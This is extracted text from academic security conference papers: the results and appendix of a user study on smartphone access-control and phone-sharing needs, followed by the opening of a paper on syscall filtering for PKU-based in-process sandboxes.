based on what resources (e.g., Wi-Fi) they have access to,
according to DiffUser’s rules [51] (e.g., “Guest” users do
not have access to Bluetooth. Refer to Ni et al. [51] for
the complete list of rules). We determine the resources
needed for performing a task by examining the Android
permissions requested by the app that affords the task.

• X_SHARE: We assume that the participant would put
the phone in restricted mode before sharing it, while only
granting access to the apps they reported sharing in that
session. The FPR and FNR are computed by holding that
the sharee can perform any tasks with shared apps but
none with the other apps. In addition to xShare [39], this
scenario represents how session-based solutions would
perform (see Table 1) as repeatedly unpinning/pinning
apps can achieve the same effect.

Table A.2 in the appendix provides the exact formula used
to calculate each rate for each scenario.

RQ3 [Phone-sharing contextuality]: For each participant,
we examined the variations of the following factors in all
their reported cases of phone sharing: location, participant’s
presence, their relationship with the sharee, and functionality
category of the shared tasks. We focus on these factors only,
as they were reported by prior qualitative work to be correlated
with sharing needs of users (see Section 2). Our goal was to
corroborate such correlations quantitatively.

4 Results

4.1 RQ1: Tasks and Authorization Needs
Overall, the participants reported performing a large and func-
tionally diverse set of tasks. Collectively, they declared 1,149
distinct tasks in total (after aggregation, as described in Sec-
tion 3) for 571 distinct apps. On average, each participant
reported performing 74 tasks (min = 24, max = 142) using 48
apps (min = 12, max = 103).

Examining the participants’ access-control preferences for
the tasks, we found them to be highly complex. The partic-
ipants indicated they were willing to share a large portion
(nearly 43%) of their tasks with others. Specifically, 23.7% of
the tasks were labeled as being shareable with “Specific peo-
ple,” whereas 19.4% were shareable with “Anyone.”3 How-
ever, these “Specific people,” were not limited to a narrow
group of individuals, corroborating the qualitative findings
of others [35, 44, 45]. Additionally, our results provide a
more detailed distribution of the sharee-sharer relationships:
spouses and boy/girlfriends comprised the largest groups of
preferred sharees (64.6% of all “Specific people” tasks), fol-
lowed by parents (13.7% of tasks), children (13.1%), and
friends (3.6%). This allows us to argue for the feasibility of
implicit user identification, as we discuss in Section 5.

3Note that labeling a task as shareable does not indicate that the participant
actually shared it. We discuss actual sharing in Section 4.3.
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Figure 1: Distribution of sharing preferences of performed tasks for each study participant.
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Figure 2: Distribution of sharing preferences across task functionality groups.

Adding more complexity to the matter, we found the access-
control preferences to be highly individualized, as Figure 1
illustrates: About 22% of the participants were unwilling
to share any tasks with anyone (e.g., participants P01, P02,
and P04). We refer to them in the paper as private users. A
small fraction, 5%, are referred to as public users, and they
wanted to share everything with certain people (e.g., P24).
Unsurprisingly, the majority (73%) were in between these
extremes. We refer to them as semiprivate users (e.g., P7).
Obviously, for public or private users, an all-or-nothing model
of access control would suffice. However, a more complex
system is needed for the majority: semiprivate users.

However, we found the abovementioned groups to be fairly
heterogeneous in terms of demographic or phone-usage fac-
tors. This makes predicting one’s access control needs by any
potential future solution challenging. We tested the associ-
ation between access-control categorization (i.e., whether a
participant is a private, public, or semiprivate user) and sev-
eral demographic and phone-usage factors. These included
age (suggested by Qiu et al. [57] to be correlated with phone-
locking habits), education level, hours of phone usage per
day, depth of smartphone adoption (measured by the privacy
app adoption questionnaire by Mehrabi et al. [38], which was
based on the one by Marques et al. [43]), and whether the par-
ticipant lived with someone else or shared phones with them
(anticipating this would lead to different sharing habits). How-
ever, apart from age, none of the test results (see Table A.1 in

the appendix) were statistically significant (p-values > 0.05)
or strong (Cramér’s V < 0.5). For age, while the link was
statistically significant, it was not strong.

Next, we examined the correlation between functionality
and task sensitivity, to gauge the feasibility of functionality-
specific authorization solutions. From the categorization pro-
cess we described in Section 3, we identified 19 separate
functionality categories of tasks. We observed that the tasks
were distributed relatively evenly among these categories, as
demonstrated in Figure A.1. More importantly, however, we
found a nonuniformity of access-control preferences among
the task categories. As Figure 2 illustrates, while some tasks
were mostly off-limits to others (e.g., the “Personalization”
and “Dating” categories), other categories (e.g., “Food and
Drink” and “Weather”) were very often labeled as shareable,
either with “Specific people” or with “Anyone.” This findings
suggest that (1) there is indeed a need for varying access-
control treatment based on task functionality, and (2) such
solutions might actually be feasible.

Next, we examined the data with higher granularity to com-
pare how participants’ task- and app-level preferences align.
This was to gauge if there is a real need for higher granularity
than app-level. Firstly, we found that apps often afford tasks
with conflicting functionality. Our participants declared two
different tasks per app on average, which were often from
different categories. For example, business apps sometimes
afforded tasks from “Communication,” “Productivity,” “Edu-
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Figure 3: Distribution of app shareability categories among semiprivate study participants.

cation,” or “Personalization” categories.
Consequently, we found apps to be incohesive in share-

ability. We observed that for each participant apps generally
fell into one of the following categories when it came to the
shareability of the tasks they afford:

• Public apps exclusively afford tasks shareable with “Any-
one.” Hence, conceptually, they would require no form
of authentication before accessing them.

• Private apps are in direct contrast to public apps and
afford exclusively “No one” tasks. Therefore they would
almost always require user authentication in advance.

• Shareable apps exclusively afford tasks that are share-
able with “Specific people.” Hence they would require
multi-user identification support.

• Split apps afford tasks with different levels of shareabil-
ity and, as such, require not only user identification, but
also granular authorization support.

Obviously, for public and private users all apps fell either
into the public or the private app categories. However, for the
majority of the participants (73%) the distribution of apps was
not just between these two categories, as Figure 3 illustrates.
The majority used split apps, which require a fine-grain model
of access control. This result corroborates the findings of
Hayashi et al. [29] that smartphone users consider a significant
number of apps they use as split. However, our data provides
a clearer picture of this issue by (1) showing the relatively
high proportion of such tasks, and (2) demonstrating that the
number of split apps varies significantly between users. This
observation suggests the need for personalized access control,
as opposed to one finer-grain solution for all.

Lastly, we also found that the perception of the shareability
of an app was not consistent across study participants. Among
the 206 apps that were used by more than one participant, 137
(66.5%) were categorized inconsistently by their users. For
example, in the case of the Amazon shopping app, 65% of its
users categorized it as private, 29% as split, 3% as shareable,
and 3% as public.

In summary, we found users performing a large (1,149) and
functionally diverse set of tasks (19 different categories) with

their phones. We also found their access-control preferences
for the tasks to be highly complex and varied by sharee (see
Figure 1) and functionality (see Figure 2). Lastly, in agree-
ment with previous work, we found apps to be incoherent
units in terms of access-control requirements, with significant
variance in the functionality and shareability of tasks they
afford (see Figure 3). Overall, therefore, the results show
quantitatively that there is indeed a need for more granular
and customizable authorization solutions on smartphones.

4.2 RQ2: Comparison of Solutions
To start with, we unsurprisingly found the incumbent all-or-
nothing solution to be inefficient. As Table 3 illustrates, the
FPR of the ALL scenario was estimated at 90.3%, meaning
~90% of the users’ tasks would be exposed to unauthorized
users. This result clearly demonstrates the high risk associ-
ated with this scenario, even though 10% of users choose
it anyway [46]. This acceptance of risk, however, becomes
somewhat justifiable when we consider the NOTHING sce-
nario. While NOTHING exposes no tasks to unauthorized
users (FPR = 0%), a 21.2% FNR would be incurred, meaning
up to 20% of the users’ unlockings could be unnecessary.

We found the commercial solutions did not offer much
improvement either. Obviously, the ultimate goal of a
task-sensitive solution would be to reduce the FNR com-
pared to the NOTHING scenario without increasing the
CSR or FPR substantially. Yet, as Table 3 shows, the
LOCK_SCREEN_ACCESS scenario fails to do so. It re-
duces the FPR by less than 1% only but with no change to
the other metrics. This is unsurprising given the limited num-
ber of tasks afforded by the common lock screen apps (e.g.,
camera, calculator).

What seems to be effective, however, is increasing the
granularity of access control. As the table shows, app-level
models reduce the FPR by 7% with modest increases in the
CSR and FNR (~0.5% and 5.5%, respectively), as in the case
for both the CONSERVATIVE and MAXIMAL scenarios.
This suggests increased granularity is beneficial, even when
app-level decisions are made based on most-restrictive task
labels, as in the CONSERVATIVE case. It is out of the scope
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Table 3: The calculated FPR, FNR, and CSR of the evaluated scenarios.

Scenario FPR (%) FNR (%) CSR (%)
ALL 90.3 0.0 0.0

Ta
sk

se
ns

iti
vi

ty NOTHING 0.0 21.2 0.0

LOCK_SCREEN_ACCESS 0.0 20.5 0.0

APP_CONSERVATIVE 0.0 14.0 4.8

APP_MAXIMAL 1.2 11.3 5.9

TASK_CONSERVATIVE 0.0 5.5 18.1

TASK_MAXIMAL 2.3 1.7 18.1

Ph
on

e
sh

ar
in

g ALL_OR_NOTHING 18.1 0.0 1.8

PROFILE_SWITCHING 0.0 0.0 16.0

DIFF_USER 15.5 0.1 3.5

X_SHARE 1.4 0.1 3.1

of this paper to gauge which scenario would be preferable
to the end users (as it would largely depend on the final user
experience). However, on a conceptual level it is clear that
app-level access control can achieve the ultimate goal of a
task-sensitive solution, as we described before.

Lastly, increasing the access-control granularity to task
level was found to be even more beneficial, albeit with
a more noticeable trade-off. As Table 3 shows, the
TASK_CONSERVATIVE and TASK_MAXIMAL scenarios
could further reduce the FPR as low as 1.7% but with an
18.1% increase in the CSR. This increase could be man-
ageable, however. Considering our earlier finding that users
perform 74 tasks on their phones on average, an 18% CSR
would mean that users would need to specify as few as 13
sharing preferences to configure such a system. However,
in contrast, configuring the NOTHING scenario would only
require a one-time setup of unlocking, which could still be a
noticeable gain based on a user’s tolerance for an FP vs. their
desire for a reduced FNR.

As for support for phone sharing, we again found the all-
or-nothing model to be inefficient. As Table 3 shows, the
ALL_OR_NOTHING scenario would lead to sharees not fac-
ing any unnecessary restrictions (FNR = 0% because we
assume the passcode is shared with the sharee). However,
more than 20% of the sharer’s tasks would be exposed to
unauthorized users as well, increasing the potential for secu-
rity/privacy violations by social insiders, which other studies
have reported to be prevalent [42, 43].

In comparison, profile switching might appear to be
the ideal solution. Naturally (and in direct opposition to
task sensitivity), the ultimate goal for any phone-sharing
solution would be to reduce the FPR compared to the
ALL_OR_NOTHING scenario without a substantial increase
in the FNR or CSR. Profile switching, as shown in Table 3,
seems to achieve this goal, as it makes the FPR and FNR zero.
However, as the table also shows, the scheme comes with a

substantial increase in the CSR, which seems to explain why
users are reluctant to use it [9, 17].

The resource-based solution (the DIFF_USER scenario)
does not seem to offer much improvement either. While
it can reduce the FPR by ~5%, it also increases the FNR
and CSR by 0.1% and 1.7% respectively, which somewhat
diminishes its FPR gains. This is unsurprising given our
previous finding on the multifaceted nature of current apps
in terms of functionality and shareability (see Section 4.1),
which could complicate mapping resources to tasks. For
example, many tasks in an app might use Wi-Fi; these tasks
can vary in sensitivity. Thus, it is not trivial to assert Wi-Fi as
a sensitive resource.

Finally, the X_SHARE scenario appears to provide the best
balance between usability and security. As seen in Table 3, it
eliminates most of the false positives (FPR = 1.4%) while not
increasing the FNR at all and the CSR by only 1.3%. Thus,
among all the models it seems limiting access per session
could be the most promising solution.

In summary, our results show the inefficacy of the all-or-
nothing model and offer evidence that the current commercial
solutions (e.g., the LOCK_SCREEN_ACCESS scenario) do
not offer much improvement. Furthermore, our results show
that app-level models could afford the best usability-security-
configuration trade-off in order to support task sensitivity. For
phone sharing, session-based control appears to offer the best
such balance.

4.3 RQ3: Contextuality of Phone Sharing
To begin with, we found actual sharing of phones (as opposed
to a willingness to share tasks, which was the basis of RQ1
and RQ2 results) to be less prevalent than reported in previous
studies. Among our participants, only 16 (29%) reported
sharing their phones with others. And 58 sharing events were
reported in total over the course of the study. In contrast,
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Figure 4: Distribution of functionality cate-
gories of reported shared tasks.
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ree relationships.
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Figure 6: Distribution of reported
phone-sharing locations.

Jacobs et al. [34] estimated that nearly 50% of users would
share phones, and Matthews et al. [44] reported 14 sharing
instances per participant (N = 25) over 21 days. Although it
was out of our scope to investigate, we anticipate the decline in
sharing is due to the increase in smartphone penetration of the
consumer markets since the time of those studies (2016) [63],
and the effects of the COVID-19 pandemic [53].

However, similar to a willingness to share, we found the ten-
dency to actually share phones less easily distinguishable us-
ing demographic factors. Most of our anticipated antecedents
showed no statistically significant correlation with a partici-
pant reporting at least one instance of sharing (p-value > 0.05,
as Table A.1 shows).

Interestingly, the practice of sharing does not seem to be
strictly aligned with access-control preferences either. Among
the participants who reported sharing, one was a private user,
one was public, and the rest (14) were semiprivate. Even
though at least one participant (the private user) reported
being unwilling to share any of their tasks with anyone, they
reported sharing their phones on one occasion anyway. Hence,
it seems sharing can indeed be impromptu sometimes, as
found by prior work [34, 44].

As for the contextual factors of phone sharing, we found
them to be fairly consistent. However, we should note in
advance that our results might be affected by the COVID-19
pandemic and the stay-at-home orders. These circumstances
might have forced participants to always share phones in the
same locations and/or with the same people.

To study the contextual factors, we first examined the cor-
relation between content and sharing preferences. Prior qual-
itative studies demonstrated that sharing is indeed content
dependent [29, 34, 45]. Our results confirm this quantita-
tively. We observed that only specific task categories were
reported as shared. As Figure 4 shows, most of the shared
tasks were from a few specific categories (e.g., “Food and
Drink,” “Entertainment”), while tasks in some other cate-
gories (e.g., “Personalization”) were never shared. Overall,
11 categories (58%) had at least one reported case of sharing,
with 70% of all shared tasks being from 3 categories: “Enter-
tainment,” “Communication,” and “Maps and Navigation.” At

the same time, tasks in 8 categories (42%) were never shared.
This aligns well with the participants’ reported willingness to
share tasks (see Figure 1).

Next, we found the sharer’s presence to be a determinant
as well. Matthews et al. [44] found sharing to happen often
when the sharer is present. Our data confirmed this finding
while also showing high consistency. We found the majority
(56 of 58 instances (96.6%)) of sharing events were reported
to have happened in the presence of the sharer. (These are
the sharing events known to the sharer, as our study relied on
self-reported data.)

We also found the relationship between the phone owner
and the sharee to be a significant factor. Prior studies demon-
strated that users’ sharing preferences depend significantly on
who the phone is being shared with [9, 35, 45]. Our results
confirmed this finding, too, while again showing high consis-
tency. We observed a great majority of sharing events were
with people the sharer was familiar with. As Figure 5 depicts,
more than half (52%) of all sharings happened with roman-
tic partners. Sharing with children and parents was the next
most frequent, at 21% and 16% respectively. Overall, 89%
of sharing instances happened with the immediate family of
the sharer. This finding also aligns well with the preferences
reported by the participants, discussed in Section 4.1.

Lastly, we found location to also be a fairly consistent
determinant across sharing events. As Figure 6 shows, 66%
of the events happened at the sharer’s home. Sharing within
the homes of parents and romantic partners was the next most
frequent, at 10% each. And only 5% of the events happened
at other locations, such as schools or other public places.

In summary, we found sharing to be universal (not limited
to a specific group of users). We also found the contextual
factors of phone sharing to be highly consistent (~75% of the
time). Even though we found sharing to be less prevalent than
previously reported, we observed phones being shared often
with family members and partners, at familiar locations, in
the presence of sharers, and for limited categories of tasks.
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5 Discussion

Putting all of our results together, it is clear that modern
smartphone users have diverse and complex access-control
needs. They perform a functionally diverse set of tasks with
a large number of apps. And they prefer to share several
(sometimes even partially overlapping) subsets of tasks with
different individuals (see Section 4.1) and in varying contexts
(discussed in Section 4.3).

Making matters more complex, authorization needs vary
significantly by task functionality (see Figure 1) and per user
(see Figure 3). And it is difficult to predict users’ prefer-
ences based on their demographic or phone-usage factors (see
Section 4.1). Also, no functionality categories dominate the
users’ tasks to therefore limit the scope of access control to
certain activities on the phone (see Section 4.1).

All these circumstances reduce the chance that any ad
hoc solution (e.g., lock screen access) catering only to spe-
cific tasks or groups of users could achieve adequate efficacy.
Hence, the need for robust and general-purpose access control
on smartphones is now clearer than ever.

Yet the incumbent all-or-nothing solution falls short of this
ideal. Firstly, it fails to provide timely and secure access to
tasks, as its assumption that all tasks require the same level of
protection is invalid. Our findings (Section 4.2) suggest that it
could mistakenly expose more than 90% of the users’ private
tasks to unauthorized individuals or, conversely, unnecessarily
hinder the users’ access to 21% of their tasks.

Secondly, the solution fails to assert adequate control when
users share their phones. We found that it could expose up
to 20% of the users’ private tasks to unauthorized sharees,
as it forces the users to share passcodes (Section 4.2). This
is especially important considering the clear distinction the
users make between “Anyone” and “Specific people” tasks
(Section 4.1). To them, a shared task is not necessarily a
public one. So, even if they are willing to share a task, it is
important to control with whom that task is shared.

As such, the dilemma users face when using the incumbent
system is clearer now. They have to either (1) enable unlock-
ing and face the overhead of 20% unnecessary authentications
or (2) disable unlocking altogether for more convenience and
risk 90% of their tasks being available to unauthorized users
(as 10% of users actually do [46]).

Making the situation direr, most of the pro-
posed/implemented alternative solutions do not seem
to provide much improvement. The lock screen access
solution only provides an insignificant improvement to the
FNR (0.7%). And phone-sharing solutions, such as DiffUser,
rely on restricting access to system resources to assert control,
which nearly doubles the CSR in exchange for reducing the
FPR marginally (see Section 4.2).

Profile switching presents more of a conflicted situation.
Even though our results show it could theoretically eliminate
FPs all together, its high CSR explains why most users decide

not to adopt it [9, 17]. Moreover, we found evidence for the
need to support impromptu phone sharing (see Section 4.3).
However, profile switching does not easily support impromptu
sharing, since it would require creating profiles on the spot.4

It seems, therefore, that users are left with neither timely
access to their tasks nor proper control over whom performs
them. But hope exists.

We found designs that could lead to better access control.
To support task sensitivity, we found increased granularity
a good starting point. The app-level models we examined
were found to have nearly half the FNR of the widely used
all-or-nothing system (11% vs. 21%) but with only modest
increases in the CSR and FPR (see Section 4.2). However,
the app-level model seems to be the sweet spot of granularity;
creating even finer-grain task-level solutions would halve the
FNR once more, while imposing a substantial increase in the
CSR (18%). Thus, overall, our data supports wider adoption
of app-locking solutions, which are currently only deployed
on some Android phones [66].

For deliberate phone sharing, our results endorse session-
based solutions. Approaches such as xShare [39] and app
pinning, which allow users to quickly select which apps to
share in each session, showed substantial reduction in the
FNR (~20%), only a modest increase in the CSR (~1%), and
no increase at all in the FPR (see Table 3 and Section 4.3).

Finally, our data also shows promise for context-based
phone-sharing solutions. We found several contextual factors
to be highly consistent (see Section 4.3), which could be
incorporated into future solutions:

• Content. Only certain categories of tasks were shared
by our participants. Thus, future access-control schemes
could further reduce the FPR with a default denial of
access to task categories universally perceived as private.

• Presence of the sharer. Deliberate sharing often happens
in this situation (see Section 4.3). Thus, detecting the
owner’s presence (e.g., through smartwatches or other
wearables) seems to be a promising approach to detect
unauthorized access.

• The sharee. Phone sharing often happened with the same
group of people (see Figure 5). Thus, an a priori pol-
icy definition and user isolation solutions (e.g., profile
switching) could indeed work but, as discussed before,
need to be made more convenient. The high proportion
of close family members in the sharee distributions sug-
gests automatic user identification (e.g., through behav-
ioral biometrics [49]) could be one way of achieving this
goal and poses a promising avenue of future research.

• Location. Most of the reported sharing events happened
at familiar places, such as at home (see Figure 6). As
such, location detection (e.g., using Wi-Fi or GPS as

4This creation would only be needed if the shared tasks were for “Specific
people.” Otherwise a “Guest” profile would suffice.

928    31st USENIX Security Symposium USENIX Association



done by Google Smart Lock for Android [23]) could
provide better access control by limiting unauthorized
access in unfamiliar locations.

In the end, we should note that our findings also demon-
strate the need for flexibility in access control, as any one-
size-fits-all solution would have unjustifiable trade-offs for
some users. For example, if all users were forced to a highly
granular task level, some users could benefit. But this level of
access control would also impose a high CSR on semiprivate
users, with no improvements in the FPR or FNR for them
(e.g., P03 in Figure 3 who has few public apps and no split
apps). For such users, an app-level system would be a better
fit. Hence, it is important to consider solutions that increase
granularity only when needed or only for those users who
need it. This could certainly be achieved manually (e.g., by
asking users directly to use a task-level system). However,
as observed with profile switching (see Section 4.2), the in-
creased cognitive load makes adoption an issue. An avenue
for future research, therefore, can be to investigate the feasi-
bility of automating this process (possibly like our implicit
identification suggestion for profile switching).

6 Limitations

Any generalization of our results needs to be performed care-
fully due to the study’s limitations.

Firstly, similar to other studies on smartphone usage [15,
27,33], our sample was not representative of the global smart-
phone user population. For example, it has been shown that
cultural factors affect users’ unlocking behavior [26] and pri-
vacy attitudes [60]. However, due to limited resources we
only included US participants in our study; as a result, one
cannot generalize the results to non-US users. Cross-cultural
studies are required to explore the link between culture and
access control.

Secondly, our sample is not fully representative of the US
smartphone user population either. While MTurk is shown to
provide quality data for research in usable security [58], its
known limitations (e.g., lack of diversity, tech savviness) [55]
apply to our study too (for example, our participants are more
than 80% white). Lack of diversity is a common limitation
of smartphone studies [15, 29, 44] However, we believe that
our findings are still valuable, as they provide the very first
quantitative insight into users’ access-control needs.

Thirdly, due to technical limitations we only included An-
droid users in our study. Recent evidence suggests there are no
significant differences in security/privacy attitudes between
iOS and Android users [1]. However, cross-platform studies
are required to investigate this matter further.

Fourthly, our results are based on self-reported data from
the participants. Thus, as a general limitation of such studies,
our data might sometimes be of lower ecological validity and
not perfectly reflective of the users’ true behavior [21, 46].

Also, the reported sharing events might be affected by the
users’ prolonged use of the all-or-nothing system. For exam-
ple, the type of tasks they shared might have been influenced
by what they felt comfortable sharing given the limitations of
the incumbent system. Also, all-or-nothing might have caused
participants to misinterpret the diary questions and believe
that “Whom you’d generally allow to perform the task” meant
only when they were physically presiding over the sharing. To
mitigate this risk, we conducted several pilot studies (see 3.2)
and did not find evidence of such varying misinterpretations.
But they are still a possibility and could have caused us to un-
derestimate the number of “Anyone” tasks. Having more such
tasks, however, could only strengthen our argument that the
all-or-nothing system is suboptimal, as these tasks increase
its FPR (already over 20%) even further.

Lastly, as discussed in Section 4.3, our results might have
been affected by the COVID-19 pandemic. For example,
work-from-home orders might have influenced users’ secu-
rity/privacy preferences for their personal devices, which
might contain work-related information [53]. Also, the con-
sistency of location in phone-sharing events might have been
due to stay-at-home orders.

7 Conclusion

Smartphones, nowadays, require strong physical security as
they host an ever-increasing array of data and services. Yet
most of the research and development so far has been to-
ward their authentication systems. Their access-control sys-
tems have remained largely unchanged, still using the all-or-
nothing model. In this paper, we solicited detailed task data
from users and quantified just how inefficiently this model
serves the users. We examined the status quo and found that
most proposed/implemented alternatives do not provide much
improvement either. Instead, we found that increasing the
granularity of access up to a point and providing session- and
context-based control might be two promising avenues for
designing future systems that better support users’ needs.
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A Appendix

A.1 Description of Pilot Studies
We performed three pilot studies to test our methodology and
app design. The first study involved lab testing sessions and
qualitative interviews to evaluate the app’s usability. We used
our university’s study-participant mailing list to recruit six
participants (three of them male, ages 23-65). They performed
a series of tasks with our app (e.g., filling out a daily diary)
while we observed if they encountered any difficulties. We
also interviewed them about their impressions of the app.
Based on the results, we improved the app setup process and
the wordings of some diary questions, and fixed a few bugs.
For the second pilot study, we used the same mailing list again
to recruit 7 participants (5 of them females, ages 27–37). They
installed the app on their personal phones and used it to fill
out diaries for two weeks. Then we interviewed them about
their experience. Based on the results, we found it would be
optimal if the diaries did not take more than 10 minutes per
day. We also further improved the wordings of some questions
and fixed some more bugs. More importantly, we found a lot
of duplication of task declarations, which took unnecessary
time from participants. To reduce fatigue, we implemented a
system where each participant could see, anonymously, what
tasks others had declared for each app. This way they could
either select one of those tasks or declare a new one.

Interviews also showed that some participants might have
privacy concerns with installing our app on their personal
devices. To alleviate such concerns, we made it clearer in
our study advertisement and consent form that the app would
not collect any personal data, such as location or log-in cre-
dentials. We also invited participants to ask any questions
they might have about the app or the purpose of the study,
and let them know they can withdraw from the study at any
time without repercussions. As a result of these changes, we
observed in our screening surveys that very few potential par-
ticipants of the main study declared privacy concerns as a
reason for not joining the study.

The third pilot study was aimed at evaluating the efficacy
of the intended recruitment channel (MTurk) and reverifying
the study procedures. Specifically, we wanted to see if show-
ing tasks defined by one participant to others would result in
reduced diversity of declared tasks and eventually bias in the
results. We recruited 8 participants from MTurk (4 of them
female, ages 21–44) and asked them to install and use the app
for 2 to 3 weeks. We found MTurk to be able to provide us
with sufficiently diverse samples. We also observed being
near theoretical saturation for task declarations after three
weeks (i.e., very few new tasks were being declared). Hence
we decided on one month as the length of the main study.
Lastly, study results showed no signs of reduced task diver-
sity; instead, an even more diverse set of tasks was defined
compared to the second study.
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A.2 Additional Methodology Details and Data Analysis Results

Table A.1: Results of chi-squared tests between access-
control categorizations and our anticipated antecedents.

Public or
(Semi)Private

Whether They
Share Phone

Age p = 0.002

V = 0.433

p = 0.048

V = 0.379

Education p = 0.293

V = 0.258

p = 0.367

V = 0.240

Hours of phone
usage per day

p = 0.350

V = 0.201

p = 0.967

V = 0.035

Privacy app
adoption

p = 0.654

V = 0.149

p = 0.279

V = 0.215

Living with
others

p = 0.577

V = 0.141

p = 0.158

V = 0.190
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Figure A.1: Distribution of participants’ declared tasks across
functionality categories.

Table A.2: Formulas used to compute FPR, FNR, and CSR of the scenarios. CSR formulas assume a default “No one” policy.
Set of “No one”/“Specific people”/“Anyone”/all tasks are denoted by NN/SP/AO/T. SPC indicates SP excluding current sharee.
CA/MA indicate set of apps available to anyone, based on CONSERVATIVE/MAXIMAL strategy. FC/FM(t) indicate final
CONSERVATIVE/MAXIMAL label of task t. X(Y) indicates sub-setting X based on Y (e.g., NN(MA) indicates NN tasks that
are afforded only by apps in MA). As for strictness, NN is considered stricter than SP, which is stricter than AO.

Scenario FPR FNR CSR

ALL |NN|+ |SP|
|T |

0
|T |

0
|T |

Ta
sk

se
ns

iti
vi

ty

NOTHING 0
|T |

|SP|+ |AO|
|T |

1
|T |

LOCK_SCREEN_ACCESS |NN(Lock_screen_apps)|
|T |

|SP|+ |AO|− |T (Lock_screen_apps)|
|T |

0
|T |

APP_CONSERVATIVE |NN(CA)|
|T |

|AO|+ |SP(CA)|
|T |

|CA|
|T |

APP_MAXIMAL |NN(MA)|
|T |

|AO|+ |SP(MA)|
|T |

|MA|
|T |

TASK_CONSERVATIVE ∑ t∈T |Stricter_labels_than_FC(t)|
|T |

∑ t∈T |Laxer_labels_than_FC(t)|
|T |

|SP|+ |AO|
|T |

TASK_MAXIMAL ∑ t∈T |Stricter_labels_than_FM(t)|
|T |

∑ t∈T |Laxer_labels_than_FM(t)|
|T |

|SP|+ |AO|
|T |

Ph
on

e
sh

ar
in

g ALL_OR_NOTHING ∑ t∈T |NN(t)|+ |SPC(t)|
|T |

0
|T |

1
|T |

PROFILE_SWITCHING 0
|T |

0
|T |

|Sharees|+ |Apps_shared_w_each_sharee|
|T |

DIFF_USER ∑ t∈T (Apps_w/o_sensitive_permissions) |NN(t)|
|T |

∑ t∈T (Apps_w_sensitive_perms) |SP(t)|+ |AO(t)|
|T |

|Sharees|
|T |

X_SHARE ∑ t∈T (Shared_apps) |NN(t)|+ |SPC(t)|
|T |

0
|T |

|Shared_apps|+1
|T |
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Abstract
Effective syscall filtering is a key component for withstanding
the numerous exploitation techniques and privilege escala-
tion attacks we face today. For example, modern browsers use
sandboxing techniques with syscall filtering in order to isolate
critical code. Cloud computing heavily uses containers, which
virtualize the syscall interface. Recently, cloud providers are
switching to in-process containers for performance reasons,
calling for better isolation primitives. A new isolation primi-
tive that has the potential to fill this gap is called Protection
Keys for Userspace (PKU). Unfortunately, prior research high-
lights severe deficiencies in how PKU-based systems manage
syscalls, questioning their security and practicability.

In this work, we comprehensively investigate syscall fil-
tering for PKU-based memory isolation systems. First, we
identify new syscall-based attacks that can break a PKU sand-
box. Second, we derive syscall filter rules necessary for pro-
tecting PKU domains and show efficient ways of enforcing
them. Third, we do a comparative study on different syscall
interposition techniques with respect to their suitability for
PKU, which allows us to design a secure syscall interposition
technique that is both fast and flexible.

We design and prototype Jenny– a PKU-based memory
isolation system that provides powerful syscall filtering ca-
pabilities in userspace. Jenny supports various interposition
techniques (e.g., seccomp and ptrace), and allows for domain-
specific syscall filtering in a nested way. Furthermore, it han-
dles asynchronous signals securely. Our evaluation shows a
minor performance impact of 0–5% for nginx.

1 Introduction

Today’s software ecosystems are incredibly complex and
depend on numerous interacting components, all of which
increase the attack surface. An inadvertent mistake in a li-
brary could compromise the entire software stack [13, 50, 51].
From an attacker’s perspective, the syscall interface plays an
essential role in exploitation. Hence, safeguarding syscalls

is a key defense strategy taken by both container environ-
ments [28] as well as process sandboxing engines found in
modern browsers [26, 39]. However, running syscall filtering
code in the kernel poses a security risk, as shown by dozens
of privilege escalation vulnerabilities [43–46, 48, 49], and can
typically only be applied on a process level but not constrain,
e.g., a single library. Since cloud providers are also shifting
from process isolation towards more fine-grained in-process
sandboxing [10], syscall filtering needs to catch up.

Recent work [14, 27, 56, 61] pushes towards more efficient
intra-process sandboxes that are backed by so-called Protec-
tion Keys for Userspace (PKU) [32], suggesting a signifi-
cant performance improvement over traditional process-based
sandboxing. Compared to SFI [57], they allow sandboxing un-
modified binaries. Unfortunately, researchers [11] uncovered
serious deficiencies in how the evaluated PKU-based sand-
boxes ERIM [61] and Hodor [27] safeguard the syscall inter-
face. Also, Donky [56] only blocks memory-related syscalls,
while SealPK [14] does not address syscall security at all.
Until now, it is unclear whether syscall filtering can be solved
both efficiently and securely for PKU sandboxes. Furthermore,
nested PKU domains should be constrained appropriately by
their parent domains, i.e., a domain might want to disable any
dangerous or unneeded syscalls for its sub-domain which runs
untrusted 3rd-party code. E.g., the webserver nginx uses the
compression library zlib, whch had arbitrary code execution
vulnerabilities [40–42] in the past. Thus, nginx, and any of
its modules, might want to constrain such libraries, to limit
their exploitation potential. Independently of syscalls, PKU
sandboxes face other security challenges such as secure signal
handling.

In this work, we comprehensively investigate syscall fil-
tering for PKU-based memory isolation systems. First, we
identify novel syscall-based attacks that can bypass PKU iso-
lation. We design appropriate syscall filters for protecting
PKU domains against these syscall-based attacks.

Next, we provide a systematic study comparing different
syscall interposition techniques with respect to their suitability
for PKU on x86-64. We found that none of them match the

USENIX Association 31st USENIX Security Symposium    935



PKU needs, being either insecure or slow. We design a new
syscall interposition technique that is both secure and fast.

We present Jenny, the first comprehensive PKU-based in-
process isolation system offering dynamic syscall filtering
in userspace. Filters can act on the same thread and also be
nested across PKU domains. Jenny comes with filter rules for
protecting PKU domains and also supports advanced filters
such as file system protection. Jenny further supports different
syscall interposition techniques. Moreover, Jenny is the first
PKU system that supports secure signal handlers. Finally, we
introduce novel multi-domain call gates needed to safeguard
the PKU policy register on x86-64. Our evaluation shows a
minor performance impact of 0–5% for nginx.
Contribution. We make the following contributions:

• We identify previously unknown syscall attacks on PKU-
based isolation systems.

• We derive syscall filter rules necessary for protecting
PKU-based isolation domains.

• We perform a comparative study of various syscall inter-
position techniques for their applicability with PKU and
derive a new technique that is tailored for PKU.

• We design Jenny– the first comprehensive PKU-based
isolation system that supports secure (same-thread)
userspace syscall filtering, secure (async.) signal handling,
and secure multi-domain PKU call gates for x86-64.

• We prototype and evaluate Jenny under different interpo-
sition techniques and filter rules, and open-source it 1.

Outline. Section 2 gives some background. Section 3 raises
challenges, analyzes the syscall interface and derives filter
rules. Section 4 handles syscall interpositioning. Section 5
presents our design, which Section 6 evaluates. Section 7 and
8 discuss limitations and related work, and we conclude in
Section 9.

2 Background

Sandboxing is used to constrain potentially malicious or vul-
nerable code from affecting the rest of a system. While dif-
ferent forms of sandboxing exist (e.g., VMs, containers, pro-
cesses), we focus on PKU-based in-process sandboxing due to
its presumed performance gains. Similar to other in-process
isolation techniques, PKU-based sandboxes must filter the
